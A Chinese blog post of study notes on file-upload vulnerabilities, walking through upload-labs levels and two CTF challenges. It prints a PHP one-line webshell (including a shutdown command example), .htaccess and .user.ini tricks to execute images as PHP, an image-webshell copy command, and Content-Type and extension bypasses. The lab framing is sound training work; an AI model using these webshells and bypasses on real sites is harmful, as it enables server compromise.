2022.8.9 文件上传学习笔记

文件上传学习笔记

知识点

一句话木马

<?php
eval($_POST['data']); ?>

比如我在此目录下传参system("shutdown /s /t 120")那么系统就会关机

后门工具

蚁剑安装

编码方式windows一般GBK,linux一般UTF-8

当操控数据库时,网站为php5的数据库类型选MYSQL,php7的选MYSQLI

lab pass1 客户端绕过

如限制了php后缀名

可以在bp里面把js关闭

image.png

请看,我在bp中修改一些内容,就可以绕过他的js弹窗绕过。

image.png

也是能顺利上传,使用蚁剑等破解

lab pass2 content-type

这边是一个type判断

if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif'))

我们修改一下content-type即可绕过。

image.png

lab pass3 后缀名绕过

o如果.php后缀被限制,可以尝试这些后缀(webshell内容一样):.phtml、.pht、.php3、.php4、.php5、.pHp(修改大小写)

image.png

phtml或者pht文件也可以这样写。

<script language="php"> eval($_POST['data']); </script>

lab pass4 .htaccess

注:此文件只支持apache服务器。

比如我要使png文件当作php文件执行

<FilesMatch "png">
SetHandler application/x-httpd-php
</FilesMatch>

或者

AddType application/x-httpd-php .ljy

lab pass14 图片马

o此处使用getReailFileType函数读取图片信息,所以我们上传的文件得有真实的图片内容。

image.png

考虑使用图片马,即合并木马和图片。

注意图片写前面,因为有标识

copy /b logo.png+v1.0.php png_hack1.png

注意

  • 单纯的图片马并不能直接和蚁剑连接,
  • 因为该文件依然是以image格式进行解析,
  • 只有利用文件包含漏洞,才能成功利用该木马
  • 所谓文件包含漏洞,是指在代码中引入其他文件作为php文件执行时,未对文件进行严格过滤,导致用户指定任意文件,都作为php文件解析执行。

.user.ini绕过

oPHP 支持基于每个目录的 INI 文件配置(.user.ini)。此类文件 仅被 CGI/FastCGI

oupload-labs默认配置的apache+php不是CGI/FastCGI方式

ophpstudy默认使用的是CGI/FastCGI方式

image.png

我们在配置文件中添加这个配置文件后,就会在执行文件后自动执行文件。

apache和nginx都是可以的

auto_append_file=hello.png

hello.php内容

<?php echo "hello!" ?>

hello.png内容

<?php echo " hacker!!" ?>

image.png

练习

buuctf [WUSTCTF2020]CV Maker

我们登录后有个上传头像的一个界面,尝试上传一句话木马,提示了这样的语句

image.png

exif_imagetype用来获取文件的类型,返回image_type,整型的数字,通过这个数字,来判断文件到底是什么类型

image.png

我们尝试上传图片马

image.png

发现可以上传。

image.png

尝试修改后缀名,发现上传成功。

image.png

也可以顺利执行。

我们链接蚁剑

最后也是在根目录下找到了flag

flag{fca59b37-0d2e-4b6d-8603-976f35a8e411}

反思:这边的漏洞是他只看图片内容,但是忽视了文件后缀名,所以我们有机可乘。

通过蚁剑也看到了他的运行逻辑

image.png

你传你呢?

发现后缀名为php的被过滤了,但改contenttype为image/png后 可以上传png图像

image.png

尝试.htaccess让png运行成php文件

image.png

可以上传。

直接尝试运行png文件。

image.png****

OK,成功执行我们的脚本。

也是得到了flag

稍微看一下他的代码

看来只要有ph出现他就die

if(isset($_FILES['uploaded'])) {
    $target_path  = getcwd() . "/upload/" . md5($_SESSION['user']);
    $t_path = $target_path . "/" . basename($_FILES['uploaded']['name']);
    $uploaded_name = $_FILES['uploaded']['name'];
    $uploaded_ext  = substr($uploaded_name, strrpos($uploaded_name,'.') + 1);
    $uploaded_size = $_FILES['uploaded']['size'];
    $uploaded_tmp  = $_FILES['uploaded']['tmp_name'];
 
    if(preg_match("/ph/i", strtolower($uploaded_ext))){
        die("我扌your problem?");
    }
    else{
        if ((($_FILES["uploaded"]["type"] == "
            ") || ($_FILES["uploaded"]["type"] == "image/jpeg") || ($_FILES["uploaded"]["type"] == "image/pjpeg")|| ($_FILES["uploaded"]["type"] == "image/png")) && ($_FILES["uploaded"]["size"] < 2048)){
            $content = file_get_contents($uploaded_tmp);
			mkdir(iconv("UTF-8", "GBK", $target_path), 0777, true);
			move_uploaded_file($uploaded_tmp, $t_path);
			echo "{$t_path} succesfully uploaded!";
        }
        else{
            die("我扌your problem?");
        }
    }
}
posted @ 2022-08-09 16:13  yuezi2048  阅读(14)  评论(0编辑  收藏  举报